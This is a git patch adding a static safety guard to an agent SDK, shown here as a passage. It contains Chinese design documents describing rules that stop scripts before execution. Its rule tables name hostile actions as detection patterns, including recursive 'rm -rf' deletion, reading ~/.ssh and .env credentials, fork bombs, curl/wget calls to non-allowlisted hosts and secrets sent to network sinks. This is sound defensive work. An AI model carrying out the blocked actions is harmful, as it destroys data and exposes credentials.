From 9d884d454b20455796bb33f27adae771a78ecc27 Mon Sep 17 00:00:00 2001 From: qtds Date: Sun, 26 Jul 2026 19:35:35 +0800 Subject: [PATCH 01/29] tools/safety: add tool script safety guard --- .../tool-script-safety-guard-design-draft.md | 303 ++++++++++ .../design/tool-script-safety-guard-design.md | 550 ++++++++++++++++++ examples/tool_safety_guard/README.md | 129 ++++ examples/tool_safety_guard/manifest.yaml | 13 + examples/tool_safety_guard/mcp_server.py | 38 ++ examples/tool_safety_guard/real_agent.py | 261 +++++++++ .../samples/danger_delete.py | 3 + .../tool_safety_guard/samples/danger_loop.py | 2 + .../samples/danger_network.py | 3 + .../samples/danger_secret.py | 2 + .../samples/danger_shell_injection.sh | 1 + .../tool_safety_guard/samples/danger_ssh.py | 3 + .../samples/review_dependency.sh | 1 + .../samples/review_dynamic_network.py | 3 + .../samples/review_pipeline.sh | 1 + .../samples/review_subprocess.py | 3 + .../samples/safe_allowed_request.py | 3 + .../tool_safety_guard/samples/safe_python.py | 2 + .../skills/safety-demo/SKILL.md | 9 + .../tool_safety_guard/tool_safety_audit.jsonl | 1 + .../tool_safety_guard/tool_safety_policy.yaml | 19 + .../tool_safety_guard/tool_safety_report.json | 20 + scripts/tool_safety_check.py | 7 + tests/tools/safety/test_adapters.py | 139 +++++ .../tools/safety/test_audit_and_telemetry.py | 175 ++++++ tests/tools/safety/test_cli_and_acceptance.py | 119 ++++ tests/tools/safety/test_code_executor.py | 110 ++++ tests/tools/safety/test_concurrency.py | 117 ++++ tests/tools/safety/test_filter.py | 205 +++++++ tests/tools/safety/test_models_and_policy.py | 111 ++++ .../tools/safety/test_quality_constraints.py | 56 ++ tests/tools/safety/test_scanner.py | 512 ++++++++++++++++ trpc_agent_sdk/tools/safety/__init__.py | 60 ++ trpc_agent_sdk/tools/safety/_audit.py | 202 +++++++ trpc_agent_sdk/tools/safety/_bash_rules.py | 418 +++++++++++++ trpc_agent_sdk/tools/safety/_cli.py | 102 ++++ trpc_agent_sdk/tools/safety/_common_rules.py | 205 +++++++ trpc_agent_sdk/tools/safety/_integration.py | 309 ++++++++++ trpc_agent_sdk/tools/safety/_models.py | 253 ++++++++ trpc_agent_sdk/tools/safety/_python_rules.py | 390 +++++++++++++ trpc_agent_sdk/tools/safety/_sanitizer.py | 107 ++++ trpc_agent_sdk/tools/safety/_scanner.py | 234 ++++++++ 42 files changed, 5201 insertions(+) create mode 100644 docs/design/tool-script-safety-guard-design-draft.md create mode 100644 docs/design/tool-script-safety-guard-design.md create mode 100644 examples/tool_safety_guard/README.md create mode 100644 examples/tool_safety_guard/manifest.yaml create mode 100644 examples/tool_safety_guard/mcp_server.py create mode 100644 examples/tool_safety_guard/real_agent.py create mode 100644 examples/tool_safety_guard/samples/danger_delete.py create mode 100644 examples/tool_safety_guard/samples/danger_loop.py create mode 100644 examples/tool_safety_guard/samples/danger_network.py create mode 100644 examples/tool_safety_guard/samples/danger_secret.py create mode 100644 examples/tool_safety_guard/samples/danger_shell_injection.sh create mode 100644 examples/tool_safety_guard/samples/danger_ssh.py create mode 100644 examples/tool_safety_guard/samples/review_dependency.sh create mode 100644 examples/tool_safety_guard/samples/review_dynamic_network.py create mode 100644 examples/tool_safety_guard/samples/review_pipeline.sh create mode 100644 examples/tool_safety_guard/samples/review_subprocess.py create mode 100644 examples/tool_safety_guard/samples/safe_allowed_request.py create mode 100644 examples/tool_safety_guard/samples/safe_python.py create mode 100644 examples/tool_safety_guard/skills/safety-demo/SKILL.md create mode 100644 examples/tool_safety_guard/tool_safety_audit.jsonl create mode 100644 examples/tool_safety_guard/tool_safety_policy.yaml create mode 100644 examples/tool_safety_guard/tool_safety_report.json create mode 100644 scripts/tool_safety_check.py create mode 100644 tests/tools/safety/test_adapters.py create mode 100644 tests/tools/safety/test_audit_and_telemetry.py create mode 100644 tests/tools/safety/test_cli_and_acceptance.py create mode 100644 tests/tools/safety/test_code_executor.py create mode 100644 tests/tools/safety/test_concurrency.py create mode 100644 tests/tools/safety/test_filter.py create mode 100644 tests/tools/safety/test_models_and_policy.py create mode 100644 tests/tools/safety/test_quality_constraints.py create mode 100644 tests/tools/safety/test_scanner.py create mode 100644 trpc_agent_sdk/tools/safety/__init__.py create mode 100644 trpc_agent_sdk/tools/safety/_audit.py create mode 100644 trpc_agent_sdk/tools/safety/_bash_rules.py create mode 100644 trpc_agent_sdk/tools/safety/_cli.py create mode 100644 trpc_agent_sdk/tools/safety/_common_rules.py create mode 100644 trpc_agent_sdk/tools/safety/_integration.py create mode 100644 trpc_agent_sdk/tools/safety/_models.py create mode 100644 trpc_agent_sdk/tools/safety/_python_rules.py create mode 100644 trpc_agent_sdk/tools/safety/_sanitizer.py create mode 100644 trpc_agent_sdk/tools/safety/_scanner.py diff --git a/docs/design/tool-script-safety-guard-design-draft.md b/docs/design/tool-script-safety-guard-design-draft.md new file mode 100644 index 000000000..52e2b3500 --- /dev/null +++ b/docs/design/tool-script-safety-guard-design-draft.md @@ -0,0 +1,303 @@ +# Tool Script Safety Guard 初版设计 + +## 1. 目标与边界 + +在 Tool 真正执行 Python 脚本或 Bash 命令前完成静态风险扫描，输出 +`allow`、`deny`、`needs_human_review`，并生成结构化报告、JSONL 审计事件和 +OpenTelemetry span attributes。 + +本实现负责“执行前风险识别与阻断”，不负责替代容器、权限隔离、网络隔离、 +文件系统隔离或运行时资源配额。静态扫描无法可靠识别动态拼接、编码混淆、 +运行时下载内容和解释器漏洞；生产环境仍必须使用沙箱和最小权限。 + +控制范围： + +- 支持 Python 源码和 Bash 命令。 +- 扫描输入包含脚本、命令行参数、工作目录、环境变量和 tool 元数据。 +- 策略修改后无需改代码即可调整白名单域名、允许命令、禁止路径、最大超时、 + 最大输出大小。 +- 复用现有 `BaseTool -> FilterRunner -> BaseFilter` 前置链路，不修改 + `BaseTool.run_async()`。 +- 首版不实现通用 shell 解释器、数据流分析器、自动审批系统或新的沙箱。 + +## 2. 现有扩展点 + +- `trpc_agent_sdk/tools/_base_tool.py`：`BaseTool.run_async()` 在 + `_run_async_impl()` 前运行 Tool Filter。 +- `trpc_agent_sdk/filter/_base_filter.py`：`BaseFilter._before()` 可设置 + `FilterResult.is_continue = False`，阻止实际执行。 +- `trpc_agent_sdk/tools/_context_var.py`：Filter 可通过 `get_tool_var()` 取得 + tool name 和描述。 +- `trpc_agent_sdk/telemetry/_trace.py`：项目已使用 OpenTelemetry 当前 span； + Safety Guard 只补充要求的 `tool.safety.*` attributes。 +- 项目已有 Pydantic、PyYAML、日志设施，直接复用。 + +## 3. 总体设计 + +执行流： + +```text +Tool args + -> ToolSafetyFilter._before + -> ScriptScanRequest 规范化/脱敏 + -> ToolScriptSafetyGuard.scan + -> Python AST 规则 + -> Bash/通用文本规则 + -> 策略约束规则 + -> 聚合 decision/risk_level + -> SafetyReport + -> JSONL audit + current span attributes + -> allow: 继续执行 + deny/review: FilterResult.is_continue=False，返回结构化报告 +``` + +`needs_human_review` 在未接入审批器时按“阻断等待审批”处理，不能继续执行。 + +### 3.1 数据模型 + +使用 Pydantic，统一序列化和配置校验： + +- `SafetyDecision`：`allow | deny | needs_human_review`。 +- `RiskLevel`：`none | low | medium | high | critical`。 +- `RiskCategory`：文件、网络、进程、依赖、资源、敏感信息、策略。 +- `ScriptLanguage`：`python | bash`。 +- `ToolMetadata`：tool name、description、可选 tags。 +- `ScriptScanRequest`：language、content、argv、cwd、env、metadata、 + requested timeout/output size。 +- `SafetyFinding`：category、risk level、rule id、evidence、recommendation、 + decision。 +- `SafetyReport`：最终 decision、risk level、findings、scan duration、 + redacted 标记和安全摘要。 +- `SafetyAuditEvent`：tool name、decision、risk level、rule ids、耗时、 + redacted、execution_blocked、timestamp。 + +证据片段限制长度并脱敏。报告和审计事件不保存原始环境变量值、疑似 secret +值或完整私钥。 + +### 3.2 策略 + +`ToolSafetyPolicy` 从 YAML 加载并严格校验： + +```yaml +version: 1 +allowed_domains: + - api.example.com +allowed_commands: + - python + - pytest +forbidden_paths: + - ~/.ssh + - .env + - /etc/shadow +max_timeout_seconds: 300 +max_output_bytes: 1048576 +long_sleep_seconds: 60 +large_write_bytes: 10485760 +max_concurrency: 32 +``` + +域名匹配按规范化后的完整 host 或其子域匹配，防止 +`example.com.attacker.test` 绕过。路径同时检查 `~` 展开形式、POSIX/Windows +分隔符和规范化文本。非法或缺失策略 fail closed：构造 Guard 时抛出明确配置 +错误，不启动执行链。 + +### 3.3 规则实现 + +采用“小型 AST 扫描 + 预编译正则/`shlex` token”组合，复用标准库，不引入 +第三方安全扫描器。 + +| 类别 | 规则 | 默认结果 | +|---|---|---| +| 文件 | `FILE001` 递归删除、覆盖根/系统目录 | `deny` | +| 文件 | `FILE002` 访问策略禁止路径、`.env`、凭据/私钥文件 | `deny` | +| 网络 | `NET001` literal URL/host 不在白名单 | `deny` | +| 网络 | `NET002` requests/aiohttp/socket/curl/wget 使用动态目标 | `needs_human_review` | +| 进程 | `PROC001` `subprocess`、`os.system`、提权、后台进程 | `needs_human_review`；明确提权为 `deny` | +| 进程 | `PROC002` 管道、重定向、命令替换、命令拼接 | `needs_human_review` | +| 依赖 | `DEP001` pip/npm/apt 等安装或修改环境 | `needs_human_review`；提权安装为 `deny` | +| 资源 | `RES001` `while True`、fork bomb | `deny` | +| 资源 | `RES002` 超长 sleep、超大写入、大量并发 | `needs_human_review` | +| 泄漏 | `SECRET001` secret/private key 进入 print/log/file/network sink | `deny` | +| 策略 | `POLICY001` timeout/output 请求超过策略 | `needs_human_review` | + +Python： + +- 用 `ast.parse()` 识别 import、调用链、常量 URL/路径、`while True`、sleep、 + 并发构造和简单 secret-to-sink 关系。 +- 语法错误不猜测为安全：产生 `needs_human_review`。 +- 同时运行通用文本规则，覆盖 Python 内嵌 shell。 + +Bash： + +- 使用 `shlex` 提取基础命令；正则识别管道、重定向、后台、命令替换、 + fork bomb、危险路径、URL 和安装命令。 +- `allowed_commands` 只降低“命令本身”的风险，不能覆盖危险参数、禁止路径、 + 非白名单网络和泄漏规则。 + +聚合优先级：`deny > needs_human_review > allow`；风险等级取最高值。无命中时 +为 `allow/none`。规则对象保持无状态，Guard 在构造时编译一次规则，满足 +500 行脚本单次扫描小于 1 秒目标。 + +### 3.4 Filter 接入 + +`ToolSafetyFilter`： + +1. 从 `get_tool_var()` 读取 tool 元数据。 +2. 从 args 的 `command`、`code` 或 `script` 提取内容；无可扫描字段时允许， + 但仍不声称已扫描脚本。 +3. 从 args 提取 `cwd`、`env`、`timeout`/`timeout_sec`、`argv`。 +4. 调用 Guard、写审计、写 span attributes。 +5. `deny` 和 `needs_human_review` 设置 `rsp.rsp` 为报告字典并停止 Filter 链。 + +接入示例使用现有 API： + +```python +guard_filter = ToolSafetyFilter.from_policy("tool_safety_policy.yaml") +bash_tool = BashTool(cwd=workspace) +bash_tool.add_one_filter(guard_filter) +``` + +不修改 `BashTool`、`SkillExecTool`、`WorkspaceExecTool` 构造函数。它们都继承 +`BaseTool`，可复用同一 Filter。CodeExecutor 不继承 `BaseTool`；文档给出在 +调用 `execute_code()` 前将 `CodeExecutionInput` 转换成 `ScriptScanRequest` +的显式示例，首版不侵入其抽象接口。 + +### 3.5 审计与 Telemetry + +`JsonlAuditSink` 每次扫描追加一行 UTF-8 JSON；单事件一次写入，写入失败记录 +错误但不改变既有安全决策。事件不含原始脚本和 env 值。 + +当前 span 写入： + +- `tool.safety.decision` +- `tool.safety.risk_level` +- `tool.safety.rule_id`：排序、逗号连接 +- `tool.safety.duration_ms` +- `tool.safety.redacted` +- `tool.safety.execution_blocked` + +无有效 span 时 OpenTelemetry API 为 no-op，不需要功能开关。 + +CLI `scripts/tool_safety_check.py` 支持扫描单文件或命令文本，加载 YAML， +将完整报告输出到 stdout 或指定 JSON 文件，并可选写 JSONL 审计。 + +## 4. 测试与验收 + +公开样本至少 12 个： + +1. 安全 Python。 +2. 危险递归删除。 +3. 读取 `~/.ssh`/凭据。 +4. 非白名单网络请求。 +5. 白名单网络请求。 +6. `subprocess` 调用。 +7. shell 注入/命令拼接。 +8. 依赖安装。 +9. 无限循环。 +10. 敏感信息输出。 +11. Bash 管道。 +12. 动态网络目标，进入人工复核。 + +单元测试分层： + +- policy：YAML 校验、策略热修改效果、域名边界、路径规范化。 +- Python/Bash scanner：六类风险、聚合优先级、语法错误、证据脱敏。 +- Filter：allow 时 handler 被调用；deny/review 时 handler 未调用且审计仅一条。 +- audit/telemetry：必需字段、JSONL、脱敏和 span attributes。 +- CLI/examples：12 个样本均可扫描并生成合法报告。 +- 性能：预生成 500 行脚本，扫描耗时小于 1 秒。 +- 指标集：危险样本检出率、安全样本误报率以及三类 100% 检出率显式断言。 + +目标新增模块语句覆盖率 `>=90%`，硬门槛 `>=85%`。验收命令： + +```bash +pytest tests/tools/safety \ + --cov=trpc_agent_sdk.tools.safety \ + --cov-report=term-missing \ + --cov-fail-under=90 +pytest tests/tools/safety +yapf --diff <新增和修改的 Python 文件> +flake8 <新增和修改的 Python 文件> +``` + +Python 没有 Go/Rust 等语言的数据竞争检测器。这里的 `race` 验收定义为并发 +扫描/并发 JSONL 写入测试；若环境提供 `pytest-run-parallel` 等工具再补充， +不擅自新增开发依赖。 + +## 5. 分阶段实现与 review 关卡 + +### 阶段 0：基线与契约 + +- 固化公开样本、预期 decision、报告 JSON schema 和策略示例。 +- 建立检出率、误报率、性能测试。 +- 关卡 R0：subagent reviewer 检查需求映射、是否过度设计、文件边界。 + +### 阶段 1：模型、策略、扫描器 + +- 实现模型、YAML 加载、规则注册、Python/Bash 扫描和聚合。 +- 跑 scanner/policy 测试、覆盖率、性能测试。 +- 关卡 R1：subagent reviewer 检查漏检/绕过、规则冲突、复杂度和脱敏。 + +### 阶段 2：Filter、审计、Telemetry + +- 实现 `ToolSafetyFilter`、JSONL sink、span attributes。 +- 验证 deny/review 在 handler 前阻断，allow 继续执行。 +- 关卡 R2：subagent reviewer 检查执行顺序、fail-closed、错误处理和并发写入。 + +### 阶段 3：CLI、示例、文档 + +- 加入 CLI、策略、12 样本、报告和审计示例、接入说明与已知限制。 +- 跑目标测试、覆盖率、并发测试、fmt、lint。 +- 关卡 R3：subagent reviewer 对最终 diff 和验收证据做独立 review；修复后复跑。 + +每个函数遵守函数体不超过 80 行/60 语句、圈复杂度不超过 15、参数不超过 +4 个；每文件不超过 1000 行；阈值全部使用命名常量或策略字段。使用 +`radon` 仅在环境已有时检查圈复杂度，否则通过小函数拆分和 review 控制， +不为此增加运行时依赖。 + +## 6. 预计文件路径 + +新增： + +- `trpc_agent_sdk/tools/safety/__init__.py` +- `trpc_agent_sdk/tools/safety/_models.py` +- `trpc_agent_sdk/tools/safety/_sanitizer.py` +- `trpc_agent_sdk/tools/safety/_common_rules.py` +- `trpc_agent_sdk/tools/safety/_python_rules.py` +- `trpc_agent_sdk/tools/safety/_bash_rules.py` +- `trpc_agent_sdk/tools/safety/_scanner.py` +- `trpc_agent_sdk/tools/safety/_audit.py` +- `trpc_agent_sdk/tools/safety/_integration.py` +- `trpc_agent_sdk/tools/safety/_cli.py` +- `scripts/tool_safety_check.py` +- `examples/tool_safety_guard/README.md` +- `examples/tool_safety_guard/tool_safety_policy.yaml` +- `examples/tool_safety_guard/samples/` 下至少 12 个 `.py`/`.sh` 样本 +- `examples/tool_safety_guard/tool_safety_report.json` +- `examples/tool_safety_guard/tool_safety_audit.jsonl` +- `tests/tools/safety/test_policy.py` +- `tests/tools/safety/test_scanner.py` +- `tests/tools/safety/test_filter.py` +- `tests/tools/safety/test_audit.py` +- `tests/tools/safety/test_cli_and_acceptance.py` + +可能修改： + +- `trpc_agent_sdk/tools/__init__.py`：仅在项目惯例要求顶层导出 Safety API 时修改。 +- `docs/design/tool-script-safety-guard-design.md`：终版设计与 review 结论。 + +明确不改： + +- `trpc_agent_sdk/tools/_base_tool.py` +- `trpc_agent_sdk/filter/_base_filter.py` +- `trpc_agent_sdk/code_executors/_base_code_executor.py` +- 现有 Tool/Skill/CodeExecutor 执行实现 + +## 7. 主要风险 + +- 静态规则可被字符串拼接、反射、编码和动态下载绕过。 +- 简单 secret taint 只覆盖直接赋值和常见 sink，存在漏报；过宽关键词会误报。 +- Bash 语法复杂，`shlex` 不是完整 parser；复杂构造进入人工复核。 +- 审计文件不是防篡改存储；生产环境应转发集中日志系统。 +- Filter 仅保护明确挂载它的 Tool；部署文档必须要求对所有执行型 Tool 注入。 +- Guard 不能限制已获准脚本的真实 CPU、内存、进程、网络和输出，仍需沙箱。 diff --git a/docs/design/tool-script-safety-guard-design.md b/docs/design/tool-script-safety-guard-design.md new file mode 100644 index 000000000..73819756a --- /dev/null +++ b/docs/design/tool-script-safety-guard-design.md @@ -0,0 +1,550 @@ +# Tool Script Safety Guard 终版设计 + +## 1. 目标与非目标 + +在执行型 Tool 真正运行 Python 脚本或 Bash 命令前，通过现有 Tool Filter +完成静态扫描和策略判断，输出 `allow`、`deny`、`needs_human_review`，并生成 +结构化报告、JSONL 审计事件和 OpenTelemetry attributes。 + +目标： + +- 输入覆盖脚本内容、argv、cwd、env、tool 元数据、timeout 和输出上限。 +- 覆盖危险文件、网络外连、进程/系统命令、依赖安装、资源滥用和敏感信息泄漏。 +- Python 和 Bash 使用同一报告、决策、策略和审计协议。 +- 策略 YAML 修改后，无需改代码即可改变白名单域名、允许命令、禁止路径和限额。 +- `deny` 与未获人工批准的 `needs_human_review` 都在 handler 前阻断。 +- 新增模块语句覆盖率不低于 90%，硬门槛 85%。 + +非目标： + +- 不实现完整 shell parser、跨过程数据流分析或自动审批服务。 +- 不替代容器、用户权限、文件系统/网络隔离、seccomp 或运行时资源配额。 +- 不承诺检测动态下载代码、反射、编码混淆、符号链接跳转和未知解释器漏洞。 + +Guard 提供静态防线和审计证据；沙箱负责执行期强制边界。两者必须同时使用。 + +## 2. 仓库复用点 + +- `trpc_agent_sdk/tools/_base_tool.py`：`BaseTool.run_async()` 已在 + `_run_async_impl()` 前执行 Tool Filter。 +- `trpc_agent_sdk/filter/_base_filter.py`：`BaseFilter._before()` 可通过 + `FilterResult.is_continue = False` 阻断 handler，`_after()` 可处理返回值。 +- `trpc_agent_sdk/tools/_context_var.py`：Filter 可通过 `get_tool_var()` 取得 + 当前 tool。 +- `trpc_agent_sdk/telemetry/_trace.py`：复用 OpenTelemetry 当前 span。 +- Pydantic、PyYAML、项目 logger 均已是现有依赖。 + +因此不修改 `BaseTool`、`FilterRunner`、现有 Tool 或 CodeExecutor 抽象。 +Guard 以 Filter 接入 Tool，以显式 wrapper 和 adapter 接入 +`CodeExecutionInput`。调用方应把安全 Filter 配置在所有参数改写 Filter +之后，使其成为执行前最后一道检查；否则后续参数改写仍可能形成 TOCTOU 绕过。 + +## 3. 请求处理与执行流 + +```text +User request + -> Runner 调用模型 + -> 模型生成 Tool function_call / executable code + -> 按入口路由 + Tool / Skill / MCP Tool -> BaseTool.run_async() + -> 普通 filters/callbacks + -> ToolSafetyFilter（handler 前最后执行） + CodeExecutor -> SafetyGuardedCodeExecutor.execute_code() + -> adapter 提取 command/code/script、argv、cwd、env keys、timeout、tool metadata + -> 规范化 ScriptScanRequest（含嵌套解释器和多个 code block） + -> Python AST + Bash/common rules + policy constraints + -> evidence 先脱敏、后截断 + -> 按 deny > needs_human_review > allow 聚合 SafetyReport + -> 必须写 audit event；尽力写 span attributes + -> 决策分支 + allow -> 注入有效 timeout -> 真正 handler/executor + -> 限制 output bytes -> Tool result 返回模型 + review -> handler 不运行 -> 结构化报告返回模型 + deny -> handler 不运行 -> 结构化报告返回模型 + audit failure -> handler 不运行 + -> Tool Filter 返回 TOOL_SAFETY_AUDIT_FAILED + -> CodeExecutor wrapper 抛出脱敏 SafetyAuditError +``` + +`needs_human_review` 表示需要外部批准。本交付不实现审批服务，故默认阻断并返回 +报告。调用方批准后可用新的、可审计请求重试；不能原地静默放行。 + +### 3.1 各入口的实际调用位置 + +| 入口 | 模型看到的能力 | Guard 位置 | allow 后真正执行 | +|---|---|---|---| +| Tool | `Bash` 等 Tool | `BaseTool.run_async()` 的最终前置 Filter | `_run_async_impl()` | +| Skill | `skill_run`、`skill_exec`、`workspace_exec` | 对执行型 Skill Tool 挂载同一 Filter | workspace runtime | +| MCP Tool | MCP 暴露的 `execute_command`/`execute_code`/`run_script` | `MCPToolset(filters=[...])` 传给每个 MCP Tool | `session.call_tool()` | +| CodeExecutor | `CodeExecutionInput` | `SafetyGuardedCodeExecutor` 组合 wrapper | delegate executor | + +非执行型 Tool 不应盲目挂载 Guard。MCP Tool 名称必须使用已注册的执行协议 +（`execute_command`、`execute_code`、`run_script`），否则 adapter 将其视为 +不适用，避免仅凭存在 `command` 字段误判普通业务 Tool。 + +### 3.2 不同危险程度的处理结果 + +风险等级和决策是两个字段，不能只按等级硬编码。每条规则同时声明 risk level +和 decision，最终 decision 按 `deny > needs_human_review > allow` 聚合。 + +| 情况 | 典型命令 | 报告 | handler 是否运行 | 返回 Agent 的结果 | +|---|---|---|---|---| +| 无风险命中 | `echo safety-ok` | `allow/none` | 是 | 真实 stdout/result | +| 不确定或中风险 | `echo ok \| cat`、`pip install x` | `needs_human_review/medium` | 否 | 含 rule id、evidence、recommendation 的报告 | +| 明确高危 | `rm -rf safety-demo-trash`、读取 `~/.ssh` | `deny/high|critical` | 否 | 结构化拒绝报告 | +| 多规则混合 | 同时命中 review 和 deny | 最高风险；decision=`deny` | 否 | 合并去重后的 findings | +| 扫描/适配异常 | 非法输入、解析失败 | fail-closed 报告 | 否 | 脱敏错误摘要 | +| 审计失败 | audit sink 不可写 | fail closed | 否 | Tool 返回 `TOOL_SAFETY_AUDIT_FAILED`；CodeExecutor 抛脱敏异常 | +| allow 后超时 | 合法但执行超过 deadline | 原扫描为 allow | 已启动，随后取消 | Tool 使用注入的 timeout；CodeExecutor wrapper 返回超时结果 | +| allow 后业务失败 | 合法命令返回非零 | 原扫描为 allow | 是 | 原业务错误语义，output 仍受限额 | + +`needs_human_review` 当前没有内置“批准后继续”开关。审批系统应保存原报告和审批 +人，生成新的审计请求后重试；不能修改当前 `FilterResult` 原地绕过。 + +## 4. 数据契约 + +使用 Pydantic 模型： + +- `SafetyDecision`：`allow | deny | needs_human_review`。 +- `RiskLevel`：`none | low | medium | high | critical`。 +- `RiskCategory`：`file | network | process | dependency | resource | + secret | policy`。 +- `ScriptLanguage`：`python | bash`。 +- `ToolMetadata`：name、description、可选 tags。 +- `ScriptPayload`：language、content、source、argv、stdin。 +- `ScriptScanRequest`：payloads、cwd、可选 `execution_home`/`execution_root`、 + env keys、metadata、requested/effective timeout、max output。 +- `SafetyFinding`：category、risk level、rule id、evidence、recommendation、 + decision。 +- `SafetyReport`：decision、risk level、findings、duration、redacted、 + security summary、limits。 +- `SafetyAuditEvent`：tool name、decision、risk level、rule ids、耗时、 + redacted、execution blocked、timestamp。 + +聚合优先级为 `deny > needs_human_review > allow`，风险等级取最高值。无命中时 +为 `allow/none`。 + +所有证据和错误走同一 `SafetySanitizer`： + +1. env 只保留 key，永不复制 value。 +2. 私钥块整体替换为 `[REDACTED_PRIVATE_KEY]`。 +3. token、password、API key、Authorization 值替换为固定占位符。 +4. argv、脚本文本、Pydantic 错误、日志、report、audit、telemetry 共用规则。 +5. 先脱敏再按命名常量截断，禁止截断后残留 secret 片段。 + +## 5. 输入适配与绕过防护 + +定义小型 `SafetyInputAdapter` 协议和注册表，不在 Filter 中堆积 tool 特判。 + +内置适配器： + +- `BashTool`：`command`、`cwd`、`timeout`。 +- `WorkspaceExecTool`：`command`、`cwd`、`env`、`stdin`、`timeout_sec`。 +- `SkillRunTool`：`command`、`cwd`、`env`、`stdin`、`timeout`。 +- `SkillExecTool`：`command`、`cwd`、`env`、`stdin`、`timeout`。 +- `CodeExecutionInput`：扫描 `code` 和每个 `code_blocks`，保留各自 language。 +- CLI：文件内容或命令文本、argv、cwd、env key 和 tool metadata。 + +递归提取： + +- 对 `python -c CODE`、`bash -c COMMAND`、`sh -c COMMAND` 再生成嵌套 payload。 +- 解释器从 stdin 执行时扫描 stdin。 +- argv、cwd、env key 即使无脚本文本也执行通用路径/secret/策略检查。 +- 只给出脚本文件路径但无法从目标执行环境读取内容时，返回 + `needs_human_review`；Filter 不擅自读取宿主同名文件。 +- adapter 仅在执行实现能提供可靠值时设置 `execution_home`/`execution_root`： + 本地 Tool 使用其明确配置，workspace/远端执行器使用 runtime metadata。 + 无可靠值时保持 `None`，依赖 home/root 才能判定的路径进入人工复核。 +- 已知执行型 Tool 无法提取有效 payload 时返回 `needs_human_review`，不默认 + allow。 +- Filter 挂到非执行型 Tool 时返回 `not_applicable/allow`；报告明确“未扫描 + 脚本”，不能记为安全脚本。 + +`ToolSafetyFilter.__init__()` 显式调用父类初始化，并设置 +`FilterType.TOOL`/稳定 name，保证 `add_one_filter()` 去重语义正确。 + +## 6. 策略语义 + +示例： + +```yaml +version: 1 +allowed_domains: + - api.example.com +allowed_commands: + - python + - pytest +forbidden_paths: + - ~/.ssh + - .env + - /etc/shadow +max_timeout_seconds: 300 +max_output_bytes: 1048576 +long_sleep_seconds: 60 +large_write_bytes: 10485760 +max_concurrency: 32 +``` + +加载失败、未知 version、非法类型、非正阈值均在 Guard 构造时抛出脱敏配置错误， +执行链不启动。 + +### 6.1 域名 + +- 用 `urllib.parse` 解析并规范化 host，移除尾点、转小写。 +- host 必须精确等于白名单项，或以 `.` + 白名单项结尾。 +- `example.com.attacker.test` 不匹配 `example.com`。 +- IP literal 必须在白名单显式声明。 +- 动态目标、无法解析目标进入 `needs_human_review`。 + +### 6.2 命令 + +- 取规范化 basename，拒绝空命令、NUL 和路径伪装。 +- Bash 管道/连接符的每一段分别校验；`sudo`、嵌套 `sh -c`、`python -c` + 递归校验。 +- Python `subprocess` literal argv 使用同一校验；动态 argv 进入人工复核。 +- 不在 `allowed_commands` 的命令默认为 `needs_human_review`；提权、fork bomb + 等独立高危规则仍为 `deny`。 +- 命令在允许列表只豁免“命令身份”，不豁免危险参数、禁止路径、网络、安装、 + secret 和资源规则。 + +因此修改 `allowed_commands` 会直接改变命令身份规则结果，满足策略驱动要求。 + +### 6.3 路径 + +- 使用请求 cwd 和 adapter 提供的目标执行环境 home/root 做词法解析，不使用 + 扫描宿主机的 `Path.expanduser()`。 +- 处理 `..`、`.`、POSIX/Windows 分隔符、驱动器和 Windows 大小写。 +- 动态路径进入人工复核。 +- 符号链接真实目标只能由运行时/沙箱校验；静态 Guard 在文档和报告中明确该 + 限制。 + +### 6.4 timeout 与 output + +- adapter 根据具体 Tool 语义计算有效 timeout。 +- 缺省、`0`、负值或无限值统一改为策略 `max_timeout_seconds`；显式超限值产生 + `POLICY001/needs_human_review`，未批准不执行。 +- allow 时 Filter 将有效 timeout 写回对应 Tool args，由 Tool 自身执行超时； + `SafetyGuardedCodeExecutor` 使用 `asyncio.wait_for` 对 delegate 应用协作式 + deadline。 + 不响应取消的第三方代码仍需由进程/容器硬终止，Guard 不作硬实时保证。 +- `max_output_bytes` 限制报告/audit evidence 和 Tool 返回给 Agent 的 + stdout/stderr/output；`_after()` 按 UTF-8 bytes 安全截断并标记 + `truncated=true`。 +- 该输出限制不能阻止子进程在被读取前产生大量内核输出或占用内存。真实执行期 + stdout 配额必须由容器/runner 实现；Guard 不作虚假保证。 + +## 7. 扫描规则 + +### 7.1 Python + +使用 `ast.parse()`，建立最低限度的 import alias、`from ... import ...` +alias 和模块/调用名映射。折叠字符串常量、相邻字面量和简单常量拼接。无法解析 +的动态调用/目标进入人工复核。通用文本规则补充 Python 内嵌 shell。 + +### 7.2 Bash + +使用 `shlex` 处理基础 token，预编译正则识别管道、重定向、后台、命令替换、 +危险路径、URL、安装命令和 fork bomb。`sh -c`、`bash -c`、`python -c` +递归扫描，并设置最大递归深度命名常量，超深进入人工复核。 + +### 7.3 默认规则 + +| 类别 | Rule ID | 命中 | 默认结果 | +|---|---|---|---| +| 文件 | `FILE001` | 递归删除、覆盖根/系统目录 | `deny` | +| 文件 | `FILE002` | 禁止路径、`.env`、凭据/私钥文件 | `deny` | +| 网络 | `NET001` | literal host 不在白名单 | `deny` | +| 网络 | `NET002` | requests/aiohttp/socket/curl/wget 动态目标 | `needs_human_review` | +| 进程 | `PROC001` | subprocess/os.system/后台进程 | `needs_human_review` | +| 进程 | `PROC002` | 提权、明确 shell injection | `deny` | +| 依赖 | `DEP001` | pip/npm/apt 等安装 | `needs_human_review`；提权安装为 `deny` | +| 资源 | `RES001` | `while True`、fork bomb | `deny` | +| 资源 | `RES002` | 超长 sleep、超大写入、大量并发 | `needs_human_review` | +| 泄漏 | `SECRET001` | secret/private key 进入 log/file/network sink | `deny` | +| 策略 | `POLICY001` | timeout/output/命令违反策略 | `needs_human_review` | + +规则对象无状态，在 Guard 构造时编译一次。扫描过程只做线性 AST 遍历和有界 +递归，目标是 500 行单脚本小于 1 秒。 + +## 8. Filter、审计与 Telemetry + +`ToolSafetyFilter._before()`： + +1. 获取 tool 和适配器。 +2. 构造、扫描请求。 +3. 写 audit。 +4. 写 span attributes。 +5. deny/review 时设置报告并停止；allow 时注入 timeout 并继续。 + +`ToolSafetyFilter._after()` 限制返回 payload 大小，不改变 handler 的业务错误 +语义。 + +接入： + +```python +guard_filter = ToolSafetyFilter.from_policy( + "tool_safety_policy.yaml", + CompositeAuditSink( + JsonlAuditSink("tool_safety_audit.jsonl"), + LoggingAuditSink(), + ), +) +bash_tool = BashTool(cwd=workspace) +bash_tool.add_one_filter(guard_filter) +``` + +CodeExecutor 不继承 `BaseTool`，使用组合式 `SafetyGuardedCodeExecutor`，不允许 +调用方手工漏掉安全步骤： + +```python +executor = SafetyGuardedCodeExecutor( + delegate=unsafe_executor, + guard=guard, + audit_sink=audit_sink, +) +result = await 